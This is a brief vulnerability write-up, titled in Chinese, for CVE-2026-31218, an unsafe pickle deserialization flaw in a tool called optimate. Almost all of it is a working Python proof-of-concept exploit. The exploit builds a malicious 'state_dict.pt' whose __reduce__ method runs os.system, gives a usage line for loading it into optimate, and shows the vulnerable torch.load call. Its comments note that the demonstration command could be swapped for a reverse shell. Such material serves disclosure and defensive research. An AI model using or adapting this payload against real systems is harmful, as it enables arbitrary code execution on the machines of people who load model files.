CVE-2026-31218：optimate不安全反序列化致RCE漏洞

import pickle import os import torch # Define a malicious class to execute arbitrary code class MaliciousPayload: def __reduce__(self): # Execute a simple command (e.g., create a file or pop calc) # In a real attack, this could be a reverse shell return (os.system, ('touch /tmp/pwned_by_cve_2026_31218',)) # Create the malicious payload object payload = MaliciousPayload() # Serialize the payload using pickle with open('malicious_state_dict.pt', 'wb') as f: pickle.dump(payload, f) print("[+] Malicious state_dict.pt generated successfully.") print("[+] Usage: ./optimate --model ./malicious_state_dict.pt") # --- Simulation of the vulnerable code path --- # def _load_model(path): # # Vulnerable call without weights_only=True # return torch.load(path) # # _load_model('./malicious_state_dict.pt')